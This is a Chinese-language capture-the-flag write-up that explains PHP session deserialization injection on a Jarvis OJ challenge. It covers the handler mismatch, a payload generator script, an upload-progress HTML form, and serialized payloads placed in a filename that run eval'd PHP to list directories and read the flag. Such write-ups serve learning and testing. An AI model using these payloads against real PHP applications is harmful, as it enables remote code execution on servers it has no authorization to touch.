PHP session 反序列化

Session

session就是服务器为用户浏览器创建的一个保存用户信息的文件
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列化之后的内容。
session序列化与反序列化有三种方式:


image

php只是比php_serialize序列化多出了一个键名 + 竖线 ,键名可以是空的,可以注入。

Jarvis OJ phpinfo

看这道jarvios oj 的题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

分析题目 肯定是要通过反序列化出来OowoO这个对象,把mdzz这个变量改成我们需要执行的命令。

利用的是php的session解析不同导致的注入 ,用serialize方法序列化结果前面加个| 就是php_serialize解析的对象。
此题也没有传session的方法,参考帖子得知利用Session Upload Progress上传个文件,filename就可以作为session的值。

首先我们要本地搭建环境,拿到我们想要的序列化值,代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'echo "hacker";';
}

function __destruct()
{
eval($this->mdzz);
}
}
$a = new OowoO();
echo serialize($a);

?>

得到结果:O:5:”OowoO”:1:{s:4:”mdzz”;s:14:”echo “hacker”;”;}
注意这里不能把这个直接传过去,利用解析引擎不同 要在前面加个| (引号要转义)
也就是说 传进去的filename:|O:5:\“OowoO\“:1:{s:4:\“mdzz\“;s:14:\“echo \“hacker\“;\“;}

新建一个html:

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

上传文件burp抓包,把filename改为上面的payload:
image
执行成功

看一下根目录:
|O:5:\”OowoO\”:1:{s:4:\”mdzz\”;s:35:\”print_r($_SERVER[\”DOCUMENT_ROOT\”]);\”;}

image

进去看看有什么:
|O:5:\”OowoO\”:1:{s:4:\”mdzz\”;s:39:\”print_r(scandir(‘/opt/lampp/htdocs/‘));\”;}

image
读flag:
image

参考:
https://blog.spoock.com/2016/10/16/php-serialize-problem/

https://blog.csdn.net/qq_35078631/article/details/77284684

-------------本文结束感谢您的阅读-------------
0%